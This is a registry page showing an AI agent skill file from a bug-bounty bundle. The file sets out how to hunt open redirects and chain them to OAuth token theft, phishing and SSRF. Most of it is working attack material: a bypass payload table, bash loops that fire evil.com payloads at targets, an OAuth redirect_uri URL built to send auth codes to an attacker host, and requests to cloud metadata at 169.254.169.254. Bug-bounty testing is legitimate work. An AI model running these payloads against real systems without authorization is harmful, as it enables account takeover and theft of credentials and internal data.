hunt-open-redirect
Skill4.8k starsChanged 5 months agoMITView on GitHub
Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
Trending
More talk lately.thin dataabout the whole repository
Who's talking about elementalsouls/Claude-BugHunter
- @camilleroux.com“Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports …”Bluesky · Jun 7, 2026 · 5 likes
- @baumannzone.dev“Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 …”Bluesky · Sep 2, 2026 · 3 likes
- A Hacker News story“Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns”Hacker News · May 20, 2026 · 1 points
- uinstinct/aiskills“ai skills”GitHub · Oct 4, 2026
- sudosubin/agents.nix“agent-skills.github.elementalsouls.claude-bughunter: init at 2.1”GitHub · Sep 27, 2026
The biggest 5 of 7 mentions linking to the repository that our crawl found. Each line is their own headline.
See all 7
Talked about on GitHub, Bluesky and Hacker News (7 times).
On GitHub · 4
- Oct 4, 2026ai skills — uinstinct/aiskills0 reactions
- Sep 27, 2026agent-skills.github.elementalsouls.claude-bughunter: init at 2.1 — sudosubin/agents.nix0 reactions
- May 31, 2026feat: CLI tool for GitHub repository discovery and recommendation — humanaios-ui/operations0 reactions
- May 24, 2026Audit candidate: elementalsouls/Claude-BugHunter — xiaolai/nlpm0 reactions · 10 comments
On Bluesky · 2
- Jun 7, 2026Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports HackerOne réels, couvrant 24… — @camilleroux.com5 likes and reposts · 1 reply
- Sep 2, 2026Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 comandos y patrones de 681 reportes… — @baumannzone.dev3 likes and reposts
On Hacker News · 1
- May 20, 2026Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns1 point · 1 comment
In this repository82 other files it gives its agents.
- apk-redteam-pipelineSkill
- bb-local-toolkitSkill
- bb-methodologySkill
- bug-bountySkill
- bugcrowd-reportingSkill
- cloud-iam-deepSkill
- enterprise-vpn-attackSkill
- evidence-hygieneSkill
- hunt-api-misconfigSkill
- hunt-aspnetSkill
- hunt-atoSkill
- hunt-auth-bypassSkill
- hunt-brute-forceSkill
- hunt-business-logicSkill
- hunt-cache-poisonSkill
- hunt-captcha-bypassSkill
- hunt-cicdSkill
- hunt-clickjackingSkill
- hunt-cloud-misconfigSkill
- hunt-corsSkill
- hunt-csrfSkill
- hunt-deserializationSkill
- hunt-dispatchSkill
- hunt-domSkill
- hunt-exceptional-conditionsSkill
- hunt-file-uploadSkill
- hunt-fintech-graphqlSkill
- hunt-forgot-passwordSkill
- hunt-graphqlSkill
- hunt-grpcSkill
- hunt-host-headerSkill
- hunt-html-injectionSkill
- hunt-http-smugglingSkill
- hunt-idorSkill
- hunt-jwt-cryptoSkill
- hunt-k8sSkill
- hunt-laravelSkill
- hunt-ldapSkill
- hunt-lfiSkill
- hunt-llm-aiSkill
- hunt-mfa-bypassSkill
- hunt-miscSkill
- hunt-nextjsSkill
- hunt-nodejsSkill
- hunt-nosqliSkill
- hunt-ntlm-infoSkill
- hunt-oauthSkill
- hunt-race-conditionSkill
- hunt-rag-vectorSkill
- hunt-rceSkill
- hunt-samlSkill
- hunt-sessionSkill
- hunt-shadow-apiSkill
- hunt-sharepointSkill
- hunt-source-leakSkill
- hunt-spa-apiSkill
- hunt-springbootSkill
- hunt-sqliSkill
- hunt-ssrfSkill
- hunt-sstiSkill
- The first 60 shown.
The file
Files
HUNT-OPEN-REDIRECT — Open Redirect
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=Bypass Table
| Technique | Payload |
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txtPhase 2 — Basic Test
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
donePhase 3 — Bypass Techniques
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
donePhase 3b — DOM-based open redirect (client-side sink)
Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;(PortSwigger: DOM-based open redirection.)
Phase 4 — OAuth Chain Test
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"Phase 5 — Server-Side Redirect (SSRF escalation)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"Automation
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}Chain Table
| Open redirect finding | Chain to | Impact |
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

